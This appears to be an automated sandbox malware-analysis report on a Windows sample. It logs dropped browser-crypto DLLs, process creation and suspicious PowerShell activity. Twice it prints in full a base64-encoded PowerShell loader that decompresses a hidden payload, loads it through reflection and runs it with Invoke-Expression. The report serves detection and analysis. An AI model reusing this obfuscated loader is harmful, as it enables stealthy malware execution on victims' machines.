Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.13.dr, softokn3.dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.13.dr, vcruntime140[1].dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.13.dr, msvcp140[1].dll.13.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000000D.00000002.1665833694.0000000013DC1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1673912355.0000000019D38000.00000002.00001000.00020000.00000000.sdmp, sqlm[1].dll.13.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.13.dr, softokn3.dll.13.dr

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) \| Out-File -FilePath 'C:\Users\user\-temp.ps1' -Encoding UTF8"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 13_2_00415745 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

13_2_00415745

Source: sqlm[1].dll.13.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.13.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.13.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.13.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.13.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.13.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.13.dr	Static PE information: section name: .didat
Source: nss3.dll.13.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.13.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.13.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.13.dr	Static PE information: section name: .00cfg

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00DCEBB8 pushad ; ret	6_2_00DCEBB9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00DC0DB0 push edi; ret	6_2_00DC0DD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00DCB8BA push eax; ret	6_2_00DCB8D9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0760184E push dword ptr [ebp+ebx-75h]; iretd	6_2_07601854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004175D5 push ecx; ret	13_2_004175E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_6CD8B536 push ecx; ret	13_2_6CD8B549

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\sqlm[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

13_2_00415745

Source: C:\Users\user\Desktop\yU3icg18lq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
